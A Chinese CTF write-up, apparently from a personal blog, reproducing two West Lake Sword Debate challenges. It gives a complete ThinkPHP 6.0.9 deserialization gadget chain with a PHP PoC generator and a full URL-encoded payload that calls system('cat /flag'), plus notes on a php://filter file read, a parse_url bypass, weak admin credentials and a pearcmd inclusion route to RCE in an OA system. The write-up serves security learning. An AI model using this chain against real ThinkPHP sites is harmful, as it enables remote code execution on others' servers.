西湖论剑(复现)

西湖论剑(复现)

大佬wp:https://chowdera.com/2021/11/20211121141556522y.html

EasyTp

打开页面,提示

Error! no file parameter
highlight_file Error

get传file参数,文件存在只会告诉exist,但是不给源码。直接尝试一波php伪协议。

php://filter/convert.base64-encode/resource=Index.php

得到Index控制器源码。

<?php

namespace app\controller;

use app\BaseController;

class Index extends BaseController
{

    public function index()
    {

        //return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V6<br/><span style="font-size:30px">13载初心不改 - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
        if (isset($_GET['file'])) {

            $file = $_GET['file'];
            $file = trim($file);
            $file = preg_replace('/\s+/','',$file);
            if(preg_match("/flag/i",$file)){
                die('<h2> no flag..');}
            if(file_exists($file)){

                echo "file_exists() return true..</br>";
                die( "hacker!!!");
            }else {

                echo "file_exists() return false..";
                @highlight_file($file);
            }

        } else {

            echo "Error! no file parameter <br/>";
            echo "highlight_file Error";
        }

    }

    public function unser(){

        if(isset($_GET['vulvul'])){

            $ser = $_GET['vulvul'];
            $vul = parse_url($_SERVER['REQUEST_URI']);
            parse_str($vul['query'],$query);

            foreach($query as $value)
            {

                if(preg_match("/O/i",$value))
                {

                    die('</br> <h1>Hacking?');
                    exit();
                }
            }
            unserialize($ser);
        }

    }
}

然后尝试?s=asd报错看版本。直接thinkphp6.0.9,最新版,牛。经典反序列化。去看官方文档看看怎么触发unser函数


然后就是找链子了。用了之前的链子[安洵杯 2019]iamthinking发现寄了,审一波代码看看哪里出问题了(重新分析一波,之前的分析把我自己都整不会了)
从Model.php的__destruct出发

public function __destruct()
    {
        if ($this->lazySave) {
            $this->save();
        }
    }

进入save

$this->setAttrs($data);

        if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
            return false;
        }

        $result = $this->exists ? $this->updateData() : $this->insertData($sequence);

关键就是进入updateData。isEmpty是检测this->data是否为空,可控。trigger在ModelEvent.php里面,设置withEvent=false就行。然后再设置this->exists为true就能进入updateData。

if (false === $this->trigger('BeforeUpdate')) {
            return false;
        }

        $this->checkData();

        // 获取有更新的数据
        $data = $this->getChangedData();

        if (empty($data)) {
            // 关联更新
            if (!empty($this->relationWrite)) {
                $this->autoRelationUpdate();
            }

            return true;
        }

        if ($this->autoWriteTimestamp && $this->updateTime) {
            // 自动写入更新时间
            $data[$this->updateTime]       = $this->autoWriteTimestamp();
            $this->data[$this->updateTime] = $this->getTimestampValue($data[$this->updateTime]);
        }

        // 检查允许字段
        $allowFields = $this->checkAllowFields();

关键点就是进入checkAllowFields。同样的,trigger可控,不进入第一个if,前面已经设置过data不为空,所以很容易就能进入checkAllowFields

if (empty($this->field)) {
            if (!empty($this->schema)) {
                $this->field = array_keys(array_merge($this->schema, $this->jsonType));
            } else {
                $query = $this->db();
                $table = $this->table ? $this->table . $this->suffix : $query->getTable();

点连接可以触发__toString,由于没设置this->schema,自然能触发。
来到Conversion.php在Conversion.php里面可以利用

public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
    {
        return json_encode($this->toArray(), $options);
    }

    public function __toString()
    {
        return $this->toJson();
    }

跟进到toArray

foreach ($data as $key => $val) {
            if ($val instanceof Model || $val instanceof ModelCollection) {
                // 关联模型对象
                if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
                    $val->visible($this->visible[$key]);
                } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
                    $val->hidden($this->hidden[$key]);
                }
                // 关联模型对象
                if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
                    $item[$key] = $val->toArray();
                }
            } elseif (isset($this->visible[$key])) {
                $item[$key] = $this->getAttr($key);
            } elseif (!isset($this->hidden[$key]) && !$hasVisible) {
                $item[$key] = $this->getAttr($key);
            }

关键点就是进入getAttr。虽然前面很多代码,但没有return,不影响。这里的data其实就是this->data,所以可控。然后设置一下visible数组,进入getAttr。visible在前面有个操作

foreach ($this->visible as $key => $val) {
            if (is_string($val)) {
                if (strpos($val, '.')) {
                    [$relation, $name]          = explode('.', $val);
                    $this->visible[$relation][] = $name;
                } else {
                    $this->visible[$val] = true;
                    $hasVisible          = true;
                }
                unset($this->visible[$key]);
            }
        }

所以只有设置data有个键等于visible的至即可,例如data['123'] = 'asd'; visible['xxx'] = '123'
来到Attribute.php,跟进getAttr

try {
            $relation = false;
            $value    = $this->getData($name);
        } catch (InvalidArgumentException $e) {
            $relation = $this->isRelationAttr($name);
            $value    = null;
        }

        return $this->getValue($name, $value, $relation);

需要进入getValue。name为前面getAttr传的key(data的键)。然后value就是data[$key]的值。
跟进getValue

if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
                $value = $this->getJsonValue($fieldName, $value);
            } else {
                $closure = $this->withAttr[$fieldName];
                if ($closure instanceof \Closure) {
                    $value = $closure($value, $this->data);
                }
            }

旧链是在closure这里执行代码,但是加了instance of来过滤,所以用不了了。但是上面的getJsonValue照样可以用。

$fieldName = $this->getRealFieldName($name);

        if (array_key_exists($fieldName, $this->get)) {
            return $this->get[$fieldName];
        }

        $method = 'get' . Str::studly($name) . 'Attr';
        if (isset($this->withAttr[$fieldName])) {
            if ($relation) {
                $value = $this->getRelationValue($relation);
            }

            if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
                $value = $this->getJsonValue($fieldName, $value);
            }

观察这一段代码,由于this->get没设置,所以不会return。fieldname=key(上面data一直往这里传的键)。this->withAttr[$fieldName]设置不为空即可。this->json设置有key的键所对应的值,this->withAttr[$fieldName]设置为数组,然后就能进入getJsonValue。
跟进

protected function getJsonValue($name, $value)
    {
        foreach ($this->withAttr[$name] as $key => $closure) {
            if ($this->jsonAssoc) {
                $value[$key] = $closure($value[$key], $value);
            } else {
                $value->$key = $closure($value->$key, $value);
            }
        }

        return $value;
    }

这里的name为data的键,value为对应的值。设置this->jsonAssoc=true,进入if。明显closure、value[key]、value数组可控,直接函数执行。使用system函数,因为system第二个参数可以传数组。最终poc:

<?php
namespace think\model\concern;

trait Attribute{

    private $data=['feng'=>['feng'=>'cat /flag']];
    private $withAttr=['feng'=>['feng'=>'system']];
    protected $visible = ['123'=>'feng'];
    protected $json = ['feng'=>'feng'];
    protected $jsonAssoc = true;
}
trait ModelEvent{

    protected $withEvent;
}

namespace think;

abstract class Model{

    use model\concern\Attribute;
    use model\concern\ModelEvent;
    private $exists;
    private $force;
    private $lazySave;
    protected $suffix;
    function __construct($a = '')
    {

        $this->exists = true;
        $this->force = true;
        $this->lazySave = true;
        $this->withEvent = false;
        $this->suffix = $a;
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model{
}

echo urlencode(serialize(new Pivot(new Pivot())));
?>

其实就加了一点过滤,修改几个变量即可。然后这里还有parseurl的小trick,直接拿[安洵杯 2019]iamthinking
里面的方法即可绕过
最终payload:

http://127.0.0.1///public/index.php/index/unser?vulvul=O%3A17%3A%22think\model\Pivot%22%3A10%3A{s%3A19%3A%22%00think\Model%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think\Model%00force%22%3Bb%3A1%3Bs%3A21%3A%22%00think\Model%00lazySave%22%3Bb%3A1%3Bs%3A9%3A%22%00*%00suffix%22%3BO%3A17%3A%22think\model\Pivot%22%3A10%3A{s%3A19%3A%22%00think\Model%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think\Model%00force%22%3Bb%3A1%3Bs%3A21%3A%22%00think\Model%00lazySave%22%3Bb%3A1%3Bs%3A9%3A%22%00*%00suffix%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00think\Model%00data%22%3Ba%3A1%3A{s%3A4%3A%22feng%22%3Ba%3A1%3A{s%3A4%3A%22feng%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B}}s%3A21%3A%22%00think\Model%00withAttr%22%3Ba%3A1%3A{s%3A4%3A%22feng%22%3Ba%3A1%3A{s%3A4%3A%22feng%22%3Bs%3A6%3A%22system%22%3B}}s%3A10%3A%22%00*%00visible%22%3Ba%3A1%3A{i%3A123%3Bs%3A4%3A%22feng%22%3B}s%3A7%3A%22%00*%00json%22%3Ba%3A1%3A{s%3A4%3A%22feng%22%3Bs%3A4%3A%22feng%22%3B}s%3A12%3A%22%00*%00jsonAssoc%22%3Bb%3A1%3Bs%3A12%3A%22%00*%00withEvent%22%3Bb%3A0%3B}s%3A17%3A%22%00think\Model%00data%22%3Ba%3A1%3A{s%3A4%3A%22feng%22%3Ba%3A1%3A{s%3A4%3A%22feng%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B}}s%3A21%3A%22%00think\Model%00withAttr%22%3Ba%3A1%3A{s%3A4%3A%22feng%22%3Ba%3A1%3A{s%3A4%3A%22feng%22%3Bs%3A6%3A%22system%22%3B}}s%3A10%3A%22%00*%00visible%22%3Ba%3A1%3A{i%3A123%3Bs%3A4%3A%22feng%22%3B}s%3A7%3A%22%00*%00json%22%3Ba%3A1%3A{s%3A4%3A%22feng%22%3Bs%3A4%3A%22feng%22%3B}s%3A12%3A%22%00*%00jsonAssoc%22%3Bb%3A1%3Bs%3A12%3A%22%00*%00withEvent%22%3Bb%3A0%3B}

然后本地复现的时候,加了parseurl之后,只要这个函数报错,直接返回500,都没有执行反序列化,好奇怪。

oa?RCE?

直接最新版本的OA(搜了一波,好像之前的文件上传修复了)。只能开审了。先一波弱口令登录admin:admin123。
在view.php有挺多文件包含。

if($xhrock->display && ($ajaxbool == 'html' || $xhrock->tpltype=='html' || $ajaxbool == 'false') && $_showbool){
    $xhrock->setHtmlData();
    $da = $xhrock->smartydata;
    foreach($xhrock->assigndata as $_k=>$_v)$$_k=$_v;
    include_once($mpathname);
    $_showbool = false;
}

需要控一下这个mpathname。

$temppath                   = ''.ROOT_PATH.'/'.$p.'/';
    $tplpaths                   = ''.$temppath.''.$d.''.$m.'/';
    $tplname                    = 'tpl_'.$m.'';
    if($a!='default')$tplname  .= '_'.$a.'';
    $tplname                   .= '.'.$xhrock->tpldom.'';
    $mpathname                  = $tplpaths.$tplname;

经过本地调试,上面限制很多,控不了。(只能包含action文件之类的限制)

if($xhrock->displayfile!='' && file_exists($xhrock->displayfile))$mpathname = $xhrock->displayfile;

这里似乎可以搞一搞。直接全局搜索displayfile,找到一个可控点,在indexAction.php。但是限制php文件

public function getshtmlAction()
    {
        $surl = $this->jm->base64decode($this->get('surl'));
        $num  = $this->get('num');
        $menuname  = $this->jm->base64decode($this->get('menuname'));
        if(isempt($surl))exit('not found');
        $file = ''.P.'/'.$surl.'.php';
        if(!file_exists($file))$file = ''.P.'/'.$surl.'.shtml';
        if(!file_exists($file))exit('404 not found '.$surl.'');
        if(contain($surl,'home/index/rock_index'))$this->showhomeitems();//首页的显示
        $this->displayfile = $file;
        //记录打开菜单日志
        if($num!='home' && getconfig('useropt')=='1')
            m('log')->addlog('打开菜单', '菜单['.$num.'.'.$menuname.']');
    }

然后根据本地调试。

$m          = $rock->get('m', $m);
$a          = $rock->get('a', $a);
$d          = $rock->get('d', $d);

get即为$_GET,m为action文件,a为里面的方法,d不太清楚。由于需要rce,而且还是包含php文件,只能是pearcmd了。在indexAction里面还可以看到phpinfo,题目开启register_argc_argv。直接pearcmd打即可。pearcmd类似打法:

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇